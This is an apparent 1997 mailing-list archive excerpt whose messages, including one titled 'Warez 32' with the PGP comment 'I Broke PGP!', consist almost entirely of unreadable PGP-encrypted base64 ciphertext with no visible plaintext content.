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
vGYCpkkidEWBZeGiV5MEDmceCeh0P6fi
=5FDm
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 04:38:46 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 20:38:46 +0800
Subject: Warez 32
Message-ID: <199712181228.GAA25754@harrier.sasknet.sk.ca>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
